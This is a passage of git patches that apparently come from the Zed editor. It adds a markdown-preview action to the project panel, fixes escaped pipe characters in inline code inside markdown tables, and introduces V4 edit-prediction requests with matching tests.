@@ -405,6 +406,8 @@ actions!(
         Undo,
         /// Redoes the last undone file operation.
         Redo,
+        /// Opens a markdown preview for the selected file.
+        OpenMarkdownPreview,
     ]
 );
 
@@ -1091,6 +1094,7 @@ impl ProjectPanel {
             let is_remote = project.is_remote();
             let is_collab = project.is_via_collab();
             let is_local = project.is_local() || project.is_via_wsl_with_host_interop(cx);
+            let is_markdown = !is_dir && MarkdownPreviewView::is_markdown_path(&*entry.path);
 
             let settings = ProjectPanelSettings::get_global(cx);
             let visible_worktrees_count = project.visible_worktrees(cx).count();
@@ -1120,7 +1124,10 @@ impl ProjectPanel {
             let context_menu = ContextMenu::build(window, cx, |menu, _, cx| {
                 menu.context(self.focus_handle.clone()).map(|menu| {
                     if is_read_only {
-                        menu.when(is_dir, |menu| {
+                        menu.when(is_markdown, |menu| {
+                            menu.action("Open Markdown Preview", Box::new(OpenMarkdownPreview))
+                        })
+                        .when(is_dir, |menu| {
                             menu.action("Search Inside", Box::new(NewSearchInDirectory))
                         })
                     } else {
@@ -1137,6 +1144,9 @@ impl ProjectPanel {
                                 menu.action("Open in Default App", Box::new(OpenWithSystem))
                             })
                             .action("Open in Terminal", Box::new(OpenInTerminal))
+                            .when(is_markdown, |menu| {
+                                menu.action("Open Markdown Preview", Box::new(OpenMarkdownPreview))
+                            })
                             .when(is_dir, |menu| {
                                 menu.separator()
                                     .action("Find in Folder…", Box::new(NewSearchInDirectory))
@@ -1685,6 +1695,29 @@ impl ProjectPanel {
         );
     }
 
+    fn open_markdown_preview(
+        &mut self,
+        _: &OpenMarkdownPreview,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some((worktree, entry)) = self.selected_entry(cx) else {
+            return;
+        };
+        if !entry.is_file() || !MarkdownPreviewView::is_markdown_path(&*entry.path) {
+            return;
+        }
+        let project_path = ProjectPath {
+            worktree_id: worktree.id(),
+            path: entry.path.clone(),
+        };
+        self.workspace
+            .update(cx, |workspace, cx| {
+                MarkdownPreviewView::open_for_project_path(project_path, workspace, window, cx);
+            })
+            .ok();
+    }
+
     fn open_internal(
         &mut self,
         allow_preview: bool,
@@ -6769,6 +6802,7 @@ impl Render for ProjectPanel {
                 .on_action(cx.listener(Self::open_permanent))
                 .on_action(cx.listener(Self::open_split_vertical))
                 .on_action(cx.listener(Self::open_split_horizontal))
+                .on_action(cx.listener(Self::open_markdown_preview))
                 .on_action(cx.listener(Self::confirm))
                 .on_action(cx.listener(Self::cancel))
                 .on_action(cx.listener(Self::copy_path))

From 90587dd639644f338fda648628bfde4b45bbed1d Mon Sep 17 00:00:00 2001
From: Ankan Misra <misra13arko@gmail.com>
Date: Fri, 26 Jun 2026 19:01:47 +0530
Subject: [PATCH 118/772] Keep inline code pipes inside markdown table cells
 (#57744)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

Fixes markdown table rendering when inline code spans contain pipe
characters. Code such as `` `a|b` `` and `` `a||b` `` now stays in one
table cell instead of being split into extra columns.

## Why

Agent output and markdown previews can include regexes, shell snippets,
and other code spans with `|` characters inside tables. Before this
change, those pipes could be parsed as table delimiters even though they
were part of inline code.

## Changes

- Masks raw pipes only inside matched inline code spans before
`pulldown-cmark` parses tables.
- Restores rendered code-span text from the original source range,
including escaped table pipes.
- Avoids masking unmatched backticks, fenced code blocks, indented code
blocks, and invalid fence closers.
- Adds parser and renderer coverage for raw pipes, escaped pipes,
unmatched inline code, invalid fences, and code-span link callbacks.

Manual check: generated agent responses across multiple models render
tables containing `` `a|b` ``, `` `(a|b)` ``, and `` `a||b` `` as single
code-span cells rather than split columns.

## Screenshots / Recordings

| Before | After |
| --- | --- |
| <img width="702" height="532" alt="Before"
src="https://github.com/user-attachments/assets/f9b7606f-15d5-41bc-980c-5e26337f9be4">
| <img width="846" height="536" alt="After"
src="https://github.com/user-attachments/assets/60a7a9bf-8417-4146-ac37-0725dd8b4e3c">
|

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #57683

Release Notes:

- Fixed markdown table rendering for inline code spans that contain pipe
characters.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/markdown/src/markdown.rs | 45 +++++++++++++++++++++++
 crates/markdown/src/parser.rs   | 63 +++++++++++++++++++++++++++++++--
 2 files changed, 105 insertions(+), 3 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 6d37ce1c86d115..8792aaca7b6f18 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -2604,6 +2604,9 @@ impl Element for MarkdownElement {
                         cx,
                     );
                 }
+                MarkdownEvent::SubstitutedCode(text) => {
+                    self.push_markdown_code_span(&mut builder, text, range.clone(), cx);
+                }
                 MarkdownEvent::Html => {
                     let html = &parsed_markdown.source[range.clone()];
                     if html.starts_with("<!--") {
@@ -4712,6 +4715,33 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    fn test_escaped_pipes_in_inline_code_inside_tables(cx: &mut TestAppContext) {
+        let markdown = "\
+| Pattern | What it does |
+| --- | --- |
+| `^echo(\\s\\|$)` | command pattern |
+| `a\\|b` | alternation |
+| `(a\\|b)` | grouped alternation |
+| `a\\|\\|b` | empty middle alternative |";
+        let rendered = render_markdown(markdown, cx);
+        let text = rendered.text_for_range(0..markdown.len());
+
+        assert_eq!(
+            text,
+            "Pattern\n\
+             What it does\n\
+             ^echo(\\s|$)\n\
+             command pattern\n\
+             a|b\n\
+             alternation\n\
+             (a|b)\n\
+             grouped alternation\n\
+             a||b\n\
+             empty middle alternative"
+        );
+    }
+
     #[test]
     fn test_source_range_for_rendered_handles_split_chunks() {
         let mappings = vec![
@@ -5087,6 +5117,21 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    fn test_code_span_link_receives_decoded_inline_code(cx: &mut TestAppContext) {
+        let source = r"| Pattern |
+| --- |
+| `a\|b` |";
+        let rendered = render_markdown_with_code_span_link(
+            source,
+            |text, _cx| (text == "a|b").then(|| "file:///tmp/a-or-b".into()),
+            cx,
+        );
+
+        assert_eq!(rendered.links.len(), 1);
+        assert_eq!(rendered.links[0].destination_url, "file:///tmp/a-or-b");
+    }
+
     #[gpui::test]
     fn test_code_span_link_ignores_code_when_mouse_interaction_is_prevented(
         cx: &mut TestAppContext,
diff --git a/crates/markdown/src/parser.rs b/crates/markdown/src/parser.rs
index 7edc7d6693bfb8..f70c0c69a4a74b 100644
--- a/crates/markdown/src/parser.rs
+++ b/crates/markdown/src/parser.rs
@@ -149,6 +149,12 @@ fn build_heading_slugs(
                 }
                 heading_text.push_str(&source[range.clone()]);
             }
+            MarkdownEvent::SubstitutedCode(substituted) if inside_heading => {
+                if heading_source_start.is_none() {
+                    heading_source_start = Some(range.start);
+                }
+                heading_text.push_str(substituted);
+            }
             MarkdownEvent::SubstitutedText(substituted) if inside_heading => {
                 if heading_source_start.is_none() {
                     heading_source_start = Some(range.start);
@@ -236,6 +242,7 @@ pub(crate) fn parse_markdown_with_options(
     let mut within_link = false;
     let mut within_code_block = false;
     let mut within_metadata = false;
+    let mut within_table = false;
     let mut current_metadata_block_start = None;
     let mut metadata_block_content_range: Option<Range<usize>> = None;
     let parse_options = if parse_metadata_blocks {
@@ -402,7 +409,10 @@ pub(crate) fn parse_markdown_with_options(
                     pulldown_cmark::Tag::FootnoteDefinition(label) => {
                         MarkdownTag::FootnoteDefinition(SharedString::from(label.to_string()))
                     }
-                    pulldown_cmark::Tag::Table(alignments) => MarkdownTag::Table(alignments),
+                    pulldown_cmark::Tag::Table(alignments) => {
+                        within_table = true;
+                        MarkdownTag::Table(alignments)
+                    }
                     pulldown_cmark::Tag::TableHead => MarkdownTag::TableHead,
                     pulldown_cmark::Tag::TableRow => MarkdownTag::TableRow,
                     pulldown_cmark::Tag::TableCell => MarkdownTag::TableCell,
@@ -455,6 +465,8 @@ pub(crate) fn parse_markdown_with_options(
                     if !parse_metadata_blocks {
                         continue;
                     }
+                } else if let pulldown_cmark::TagEnd::Table = tag {
+                    within_table = false;
                 }
                 state.push_event(range, MarkdownEvent::End(tag));
             }
@@ -624,11 +636,17 @@ pub(crate) fn parse_markdown_with_options(
                     state.push_event(range, event);
                 }
             }
-            pulldown_cmark::Event::Code(_) => {
+            pulldown_cmark::Event::Code(parsed) => {
                 let content_range = extract_code_content_range(&text[range.clone()]);
                 let content_range =
                     content_range.start + range.start..content_range.end + range.start;
-                state.push_event(content_range, MarkdownEvent::Code)
+                let source = &text[content_range.clone()];
+                let event = if within_table && source.contains(r"\|") {
+                    MarkdownEvent::SubstitutedCode(parsed.to_string())
+                } else {
+                    MarkdownEvent::Code
+                };
+                state.push_event(content_range, event)
             }
             pulldown_cmark::Event::Html(_) => state.push_event(range, MarkdownEvent::Html),
             pulldown_cmark::Event::InlineHtml(html) => {
@@ -751,6 +769,8 @@ pub enum MarkdownEvent {
     SubstitutedText(String),
     /// An inline code node.
     Code,
+    /// An inline code node that differs from the markdown source due to escape decoding.
+    SubstitutedCode(String),
     /// An HTML node.
     Html,
     /// An inline HTML node.
@@ -1473,6 +1493,43 @@ mod tests {
         assert_eq!(extract_code_content_range(input), 0..13);
     }
 
+    #[test]
+    fn test_inline_code_substitutes_escaped_pipes() {
+        let markdown = r"| Pattern |
+| --- |
+| `a\|b` |";
+        let parsed = parse_markdown_with_options(markdown, false, false, false);
+        let code_range = {
+            let start = markdown.find(r"a\|b").expect("inline code source");
+            start..start + r"a\|b".len()
+        };
+
+        assert!(
+            parsed
+                .events
+                .iter()
+                .any(|(range, event)| range == &code_range
+                    && event == &SubstitutedCode("a|b".into())),
+            "expected escaped pipe in table inline code to render as decoded inline code: {:?}",
+            parsed.events
+        );
+    }
+
+    #[test]
+    fn test_inline_code_keeps_escaped_pipes_outside_tables() {
+        let markdown = r"`a\|b`";
+        let parsed = parse_markdown_with_options(markdown, false, false, false);
+
+        assert!(
+            parsed
+                .events
+                .iter()
+                .any(|(range, event)| range == &(1..5) && event == &Code),
+            "expected escaped pipe outside a table to remain normal inline code: {:?}",
+            parsed.events
+        );
+    }
+
     #[test]
     fn test_extract_code_block_content_range() {
         let input = "```rust\nlet x = 5;\n```";

From 5989a369d302bec95e62574a7ee980ed5b5f6b29 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Fri, 26 Jun 2026 11:47:51 -0400
Subject: [PATCH 119/772] ep: Send V4 prediction requests (#59930)

# Objective

- Describe the objective or issue this PR addresses.
- If you're fixing a specific issue, use "Fixes #X" for each issue as
[described in the GitHub
docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/edit_prediction/src/edit_prediction.rs | 118 +++++--
 .../src/edit_prediction_tests.rs              | 172 +++++++++-
 crates/edit_prediction/src/mercury.rs         |   8 +-
 crates/edit_prediction/src/udiff.rs           | 250 ++++++++++++--
 crates/edit_prediction/src/zeta.rs            | 312 ++++++++++++++----
 5 files changed, 736 insertions(+), 124 deletions(-)

diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index f0520bdf15fff5..cef4a63e33c8bb 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -13,6 +13,7 @@ use cloud_llm_client::predict_edits_v3::{
     PREDICT_EDITS_TRIGGER_HEADER_NAME, PredictEditsMode, PredictEditsV3Request,
     PredictEditsV3Response, RawCompletionRequest, RawCompletionResponse,
 };
+use cloud_llm_client::predict_edits_v4::{PredictEditsV4Request, PredictEditsV4Response};
 use cloud_llm_client::{
     EditPredictionRejectReason, EditPredictionRejection,
     MAX_EDIT_PREDICTION_REJECTIONS_PER_REQUEST, MINIMUM_REQUIRED_VERSION_HEADER_NAME,
@@ -59,7 +60,7 @@ use std::rc::Rc;
 use text::{AnchorRangeExt, Edit};
 use workspace::{AppState, Workspace};
 use zeta_prompt::ContextSource;
-use zeta_prompt::{Zeta2PromptInput, ZetaFormat};
+use zeta_prompt::{Zeta2PromptInput, Zeta3PromptInput, ZetaFormat};
 
 use std::mem;
 use std::ops::Range;
@@ -190,7 +191,6 @@ pub enum EditPredictionModel {
     Mercury,
 }
 
-#[derive(Clone)]
 pub struct EditPredictionModelInput {
     project: Entity<Project>,
     buffer: Entity<Buffer>,
@@ -198,12 +198,14 @@ pub struct EditPredictionModelInput {
     position: Anchor,
     events: Vec<Arc<zeta_prompt::Event>>,
     related_files: Vec<RelatedFile>,
+    editable_context: Option<Task<anyhow::Result<Vec<RelatedFile>>>>,
     mode: PredictEditsMode,
     trigger: PredictEditsRequestTrigger,
     diagnostic_search_range: Range<Point>,
     debug_tx: Option<mpsc::UnboundedSender<DebugEvent>>,
     can_collect_data: bool,
     is_open_source: bool,
+    allow_jump: bool,
 }
 
 #[derive(Debug)]
@@ -1107,6 +1109,7 @@ impl EditPredictionStore {
         let client = self.client.clone();
         let llm_token = self.llm_token.clone();
         let app_version = AppVersion::global(cx);
+        let is_jumps_api = cx.has_flag::<EditPredictionJumpsFeatureFlag>();
         let organization_id = self
             .user_store
             .read(cx)
@@ -1118,9 +1121,10 @@ impl EditPredictionStore {
                 .background_spawn(async move {
                     let organization_id =
                         organization_id.ok_or_else(|| anyhow!("No organization selected."))?;
-                    let url = client
-                        .http_client()
-                        .build_zed_llm_url("/edit_prediction_experiments", &[])?;
+                    let url = client.http_client().build_zed_llm_url(
+                        "/edit_prediction_experiments",
+                        &[("is_jumps_api", if is_jumps_api { "true" } else { "false" })],
+                    )?;
                     let mut response = client
                         .authenticated_llm_request(&llm_token, organization_id, |token| {
                             Ok(http_client::Request::builder()
@@ -2740,23 +2744,27 @@ impl EditPredictionStore {
         }
 
         self.get_or_init_project(&project, cx);
-        let project_state = self.projects.get(&project.entity_id()).unwrap();
-        let stored_events = project_state.events(cx);
-        let prompt_history_boundary = Some(PromptHistoryBoundary {
-            first_event_seq: project_state
-                .last_event
-                .as_ref()
-                .map_or(project_state.next_last_event_seq, |last_event| {
-                    last_event.seq
+        let (stored_events, prompt_history_boundary, debug_tx) = {
+            let project_state = self.projects.get(&project.entity_id()).unwrap();
+            (
+                project_state.events(cx),
+                Some(PromptHistoryBoundary {
+                    first_event_seq: project_state
+                        .last_event
+                        .as_ref()
+                        .map_or(project_state.next_last_event_seq, |last_event| {
+                            last_event.seq
+                        }),
+                    snapshot: project_state
+                        .last_event
+                        .as_ref()
+                        .map(|last_event| last_event.new_snapshot.clone()),
                 }),
-            snapshot: project_state
-                .last_event
-                .as_ref()
-                .map(|last_event| last_event.new_snapshot.clone()),
-        });
+                project_state.debug_tx.clone(),
+            )
+        };
         let events: Vec<Arc<zeta_prompt::Event>> =
             stored_events.iter().map(|e| e.event.clone()).collect();
-        let debug_tx = project_state.debug_tx.clone();
 
         let snapshot = active_buffer.read(cx).snapshot();
         let cursor_point = position.to_point(&snapshot);
@@ -2766,6 +2774,7 @@ impl EditPredictionStore {
             Point::new(diagnostic_search_start, 0)..Point::new(diagnostic_search_end, 0);
 
         let related_files = self.context_for_project(&project, cx);
+        let allow_jump = is_cloud_zeta && cx.has_flag::<EditPredictionJumpsFeatureFlag>();
         let mode = match all_language_settings(snapshot.file(), cx).edit_predictions_mode() {
             EditPredictionsMode::Eager => PredictEditsMode::Eager,
             EditPredictionsMode::Subtle => PredictEditsMode::Subtle,
@@ -2807,6 +2816,16 @@ impl EditPredictionStore {
             && is_open_source
             && self.is_data_collection_enabled(cx)
             && matches!(self.edit_prediction_model, EditPredictionModel::Zeta);
+        let editable_context = allow_jump.then(|| {
+            self.collect_editable_context(
+                project.clone(),
+                active_buffer.clone(),
+                position,
+                Vec::new(),
+                vec![ContextSource::CurrentFile, ContextSource::EditHistory],
+                cx,
+            )
+        });
         let inputs = EditPredictionModelInput {
             project: project.clone(),
             buffer: active_buffer,
@@ -2814,12 +2833,14 @@ impl EditPredictionStore {
             position,
             events,
             related_files,
+            editable_context,
             mode,
             trigger,
             diagnostic_search_range,
             debug_tx,
             can_collect_data,
             is_open_source,
+            allow_jump,
         };
 
         let task = match self.edit_prediction_model {
@@ -2906,11 +2927,62 @@ impl EditPredictionStore {
         trigger: PredictEditsRequestTrigger,
         mode: PredictEditsMode,
     ) -> Result<(PredictEditsV3Response, Option<EditPredictionUsage>)> {
-        let url = client
-            .http_client()
-            .build_zed_llm_url("/predict_edits/v3", &[])?;
-
         let request = PredictEditsV3Request { input };
+        Self::send_predict_edits_request(
+            "/predict_edits/v3",
+            request,
+            preferred_experiment,
+            client,
+            llm_token,
+            organization_id,
+            app_version,
+            trigger,
+            mode,
+        )
+        .await
+    }
+
+    pub(crate) async fn send_v4_request(
+        input: Zeta3PromptInput,
+        preferred_experiment: Option<String>,
+        client: Arc<Client>,
+        llm_token: LlmApiToken,
+        organization_id: Option<OrganizationId>,
+        app_version: Version,
+        trigger: PredictEditsRequestTrigger,
+        mode: PredictEditsMode,
+    ) -> Result<(PredictEditsV4Response, Option<EditPredictionUsage>)> {
+        let request = PredictEditsV4Request { input };
+        Self::send_predict_edits_request(
+            "/predict_edits/v4",
+            request,
+            preferred_experiment,
+            client,
+            llm_token,
+            organization_id,
+            app_version,
+            trigger,
+            mode,
+        )
+        .await
+    }
+
+    async fn send_predict_edits_request<Req, Res>(
+        path: &str,
+        request: Req,
+        preferred_experiment: Option<String>,
+        client: Arc<Client>,
+        llm_token: LlmApiToken,
+        organization_id: Option<OrganizationId>,
+        app_version: Version,
+        trigger: PredictEditsRequestTrigger,
+        mode: PredictEditsMode,
+    ) -> Result<(Res, Option<EditPredictionUsage>)>
+    where
+        Req: serde::Serialize,
+        Res: serde::de::DeserializeOwned,
+    {
+        let url = client.http_client().build_zed_llm_url(path, &[])?;
         let request_id = uuid::Uuid::new_v4().to_string();
 
         let json_bytes = serde_json::to_vec(&request)?;
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 9a6c47ffa2cc01..a2a196d1352180 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -10,22 +10,24 @@ use cloud_llm_client::{
     EditPredictionRejectReason, EditPredictionRejection, PredictEditsRequestTrigger,
     RejectEditPredictionsBody,
     predict_edits_v3::{PredictEditsV3Request, PredictEditsV3Response},
+    predict_edits_v4::{PredictEditsV4Request, PredictEditsV4Response},
 };
 use db::AppDatabase;
 use edit_prediction_types::EditPredictionRequestTrigger;
+use feature_flags::{FeatureFlag as _, FeatureFlagAppExt as _, FeatureFlagsSettings};
 use futures::{
     AsyncReadExt, FutureExt, StreamExt,
     channel::{mpsc, oneshot},
 };
 use gpui::App;
 use gpui::{
-    Entity, TestAppContext,
+    Entity, TestAppContext, UpdateGlobal,
     http_client::{FakeHttpClient, Response},
 };
 use indoc::indoc;
 use language::{
     Anchor, Buffer, Capability, Diagnostic, DiagnosticEntry, DiagnosticSet, DiagnosticSeverity,
-    Point,
+    Point, unified_diff_with_offsets,
 };
 use lsp::LanguageServerId;
 use parking_lot::Mutex;
@@ -43,6 +45,7 @@ use uuid::Uuid;
 use workspace::{AppState, CollaboratorId, MultiWorkspace};
 use zeta_prompt::Zeta2PromptInput;
 
+use crate::prediction::EditPredictionInputs;
 use crate::udiff::apply_diff_to_string;
 use crate::{
     BufferEditPrediction, EDIT_PREDICTION_SETTLED_QUIESCENCE, EditPredictionId,
@@ -54,6 +57,7 @@ use super::*;
 #[gpui::test]
 async fn test_current_state(cx: &mut TestAppContext) {
     let (ep_store, mut requests) = init_test_with_fake_client(cx);
+    cx.update(|cx| set_jumps_feature_flag_override(cx, "on"));
     let fs = FakeFs::new(cx.executor());
     fs.insert_tree(
         "/root",
@@ -92,12 +96,12 @@ async fn test_current_state(cx: &mut TestAppContext) {
             cx,
         )
     });
-    let (request, respond_tx) = requests.predict.next().await.unwrap();
+    let (_request, respond_tx) = requests.predict_v4.next().await.unwrap();
 
     respond_tx
-        .send(model_response(
-            &request,
-            indoc! {r"
+        .send(PredictEditsV4Response {
+            request_id: Uuid::new_v4().to_string(),
+            patch: indoc! {r"
                 --- a/root/1.txt
                 +++ b/root/1.txt
                 @@ ... @@
@@ -105,8 +109,10 @@ async fn test_current_state(cx: &mut TestAppContext) {
                 -How
                 +How are you?
                  Bye
-            "},
-        ))
+            "}
+            .to_string(),
+            model_version: None,
+        })
         .unwrap();
 
     cx.run_until_parked();
@@ -2501,11 +2507,8 @@ fn prompt_from_request(request: &PredictEditsV3Request) -> String {
         .expect("default zeta prompt formatting should succeed in edit prediction tests")
 }
 
-fn assert_no_predict_request_ready(
-    requests: &mut mpsc::UnboundedReceiver<(
-        PredictEditsV3Request,
-        oneshot::Sender<PredictEditsV3Response>,
-    )>,
+fn assert_no_predict_request_ready<Request, Response>(
+    requests: &mut mpsc::UnboundedReceiver<(Request, oneshot::Sender<Response>)>,
 ) {
     if requests.next().now_or_never().flatten().is_some() {
         panic!("Unexpected prediction request while throttled.");
@@ -2517,6 +2520,10 @@ struct RequestChannels {
         PredictEditsV3Request,
         oneshot::Sender<PredictEditsV3Response>,
     )>,
+    predict_v4: mpsc::UnboundedReceiver<(
+        PredictEditsV4Request,
+        oneshot::Sender<PredictEditsV4Response>,
+    )>,
     reject: mpsc::UnboundedReceiver<(RejectEditPredictionsBody, oneshot::Sender<()>)>,
     settled: mpsc::UnboundedReceiver<SettledEditPrediction>,
 }
@@ -2535,6 +2542,7 @@ fn init_test_with_fake_client_and_legacy_data_collection(
         cx.set_global(AppDatabase::test_new());
         let settings_store = SettingsStore::test(cx);
         cx.set_global(settings_store);
+        disable_jumps_feature_flag(cx);
         zlog::init_test();
 
         if let Some(legacy_data_collection_choice) = legacy_data_collection_choice {
@@ -2549,6 +2557,7 @@ fn init_test_with_fake_client_and_legacy_data_collection(
         }
 
         let (predict_req_tx, predict_req_rx) = mpsc::unbounded();
+        let (predict_v4_req_tx, predict_v4_req_rx) = mpsc::unbounded();
         let (reject_req_tx, reject_req_rx) = mpsc::unbounded();
         let (settled_req_tx, settled_req_rx) = mpsc::unbounded();
 
@@ -2562,6 +2571,7 @@ fn init_test_with_fake_client_and_legacy_data_collection(
                     .map(str::to_owned);
                 let mut body = req.into_body();
                 let predict_req_tx = predict_req_tx.clone();
+                let predict_v4_req_tx = predict_v4_req_tx.clone();
                 let reject_req_tx = reject_req_tx.clone();
                 let settled_req_tx = settled_req_tx.clone();
                 async move {
@@ -2591,6 +2601,27 @@ fn init_test_with_fake_client_and_legacy_data_collection(
                             }
                             serde_json::to_string(&response).unwrap()
                         }
+                        "/predict_edits/v4" => {
+                            let mut buf = Vec::new();
+                            body.read_to_end(&mut buf).await.ok();
+                            let decompressed = zstd::decode_all(&buf[..]).unwrap();
+                            let req = serde_json::from_slice(&decompressed).unwrap();
+
+                            let (res_tx, res_rx) = oneshot::channel::<PredictEditsV4Response>();
+                            predict_v4_req_tx.unbounded_send((req, res_tx)).unwrap();
+                            let response = res_rx.await?;
+                            if response.request_id == REQUEST_TIMEOUT_RESPONSE_ID {
+                                return Ok(Response::builder()
+                                    .status(http_client::http::StatusCode::REQUEST_TIMEOUT)
+                                    .body(
+                                        http_client::http::StatusCode::REQUEST_TIMEOUT
+                                            .as_str()
+                                            .into(),
+                                    )
+                                    .unwrap());
+                            }
+                            serde_json::to_string(&response).unwrap()
+                        }
                         "/predict_edits/reject" => {
                             let mut buf = Vec::new();
                             body.read_to_end(&mut buf).await.ok();
@@ -2638,6 +2669,7 @@ fn init_test_with_fake_client_and_legacy_data_collection(
             user_store,
             RequestChannels {
                 predict: predict_req_rx,
+                predict_v4: predict_v4_req_rx,
                 reject: reject_req_rx,
                 settled: settled_req_rx,
             },
@@ -2867,6 +2899,63 @@ async fn test_edit_prediction_end_of_buffer(cx: &mut TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_edit_prediction_v4_end_of_buffer(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        "/project",
+        json!({
+            "file.txt": "lorem\n"
+        }),
+    )
+    .await;
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            let path = project
+                .find_project_path(path!("/project/file.txt"), cx)
+                .unwrap();
+            project.open_buffer(path, cx)
+        })
+        .await
+        .unwrap();
+    let (ep_store, response) = make_test_ep_store(&project, cx).await;
+    *response.lock() = "lorem\nipsum\n".to_string();
+
+    let position = buffer.read_with(cx, |buffer, _| buffer.anchor_before(Point::new(1, 0)));
+    ep_store.update(cx, |ep_store, cx| {
+        ep_store.register_project(&project, cx);
+        ep_store.register_buffer(&buffer, &project, cx);
+        ep_store.refresh_prediction_from_buffer(
+            project.clone(),
+            buffer.clone(),
+            position,
+            EditPredictionRequestTrigger::Other,
+            cx,
+        );
+    });
+    cx.run_until_parked();
+
+    let edits = ep_store.update(cx, |ep_store, cx| {
+        let prediction = ep_store
+            .prediction_at(&buffer, None, &project, cx)
+            .expect("should have prediction");
+        let prediction = match prediction {
+            BufferEditPrediction::Local { prediction }
+            | BufferEditPrediction::Jump { prediction } => prediction,
+        };
+        assert!(prediction.editable_range.is_some());
+        prediction.edits.iter().cloned().collect::<Vec<_>>()
+    });
+    buffer.update(cx, |buffer, cx| buffer.edit(edits, None, cx));
+
+    buffer.read_with(cx, |buffer, _| {
+        assert_eq!(buffer.text(), "lorem\nipsum\n");
+    });
+}
+
 #[gpui::test]
 async fn test_edit_prediction_no_spurious_trailing_newline(cx: &mut TestAppContext) {
     // Test that zeta2's newline normalization logic doesn't insert spurious newlines.
@@ -3013,6 +3102,26 @@ fn init_test(cx: &mut TestAppContext) {
         cx.set_global(AppDatabase::test_new());
         let settings_store = SettingsStore::test(cx);
         cx.set_global(settings_store);
+        disable_jumps_feature_flag(cx);
+    });
+}
+
+fn disable_jumps_feature_flag(cx: &mut App) {
+    SettingsStore::update_global(cx, |store, _| {
+        store.register_setting::<FeatureFlagsSettings>();
+    });
+    set_jumps_feature_flag_override(cx, "off");
+    cx.update_flags(false, vec![]);
+}
+
+fn set_jumps_feature_flag_override(cx: &mut App, value: &str) {
+    SettingsStore::update_global(cx, |store, cx| {
+        store.update_user_settings(cx, |content| {
+            content.feature_flags.get_or_insert_default().insert(
+                EditPredictionJumpsFeatureFlag::NAME.to_string(),
+                value.to_string(),
+            );
+        });
     });
 }
 
@@ -3105,6 +3214,43 @@ async fn make_test_ep_store(
                             )
                             .unwrap())
                     }
+                    (Method::POST, "/predict_edits/v4") => {
+                        let mut buf = Vec::new();
+                        body.read_to_end(&mut buf).await.ok();
+                        let decompressed = zstd::decode_all(&buf[..]).unwrap();
+                        let req: PredictEditsV4Request =
+                            serde_json::from_slice(&decompressed).unwrap();
+
+                        next_request_id += 1;
+                        let output = completion_response.lock().clone();
+                        let file = req
+                            .input
+                            .editable_context
+                            .iter()
+                            .find(|file| file.path == req.input.cursor_path)
+                            .or_else(|| req.input.editable_context.first())
+                            .expect("V4 requests should include editable context");
+                        let excerpt = file
+                            .excerpts
+                            .first()
+                            .expect("V4 editable context should include an excerpt");
+                        let diff = unified_diff_with_offsets(
+                            &excerpt.text,
+                            &output,
+                            excerpt.row_range.start,
+                            excerpt.row_range.start,
+                        );
+                        let path = file.path.to_string_lossy();
+                        let response = PredictEditsV4Response {
+                            request_id: format!("request-{next_request_id}"),
+                            patch: format!("--- a/{path}\n+++ b/{path}\n{diff}"),
+                            model_version: None,
+                        };
+                        Ok(http_client::Response::builder()
+                            .status(200)
+                            .body(serde_json::to_string(&response).unwrap().into())
+                            .unwrap())
+                    }
                     _ => Ok(http_client::Response::builder()
                         .status(404)
                         .body("Not Found".to_string().into())
diff --git a/crates/edit_prediction/src/mercury.rs b/crates/edit_prediction/src/mercury.rs
index 986d708b1104f7..26e0b5ef24e5dd 100644
--- a/crates/edit_prediction/src/mercury.rs
+++ b/crates/edit_prediction/src/mercury.rs
@@ -1,7 +1,9 @@
 use crate::{
-    DebugEvent, EditPredictionFinishedDebugEvent, EditPredictionId, EditPredictionInputs,
-    EditPredictionModelInput, EditPredictionStartedDebugEvent, EditPredictionStore,
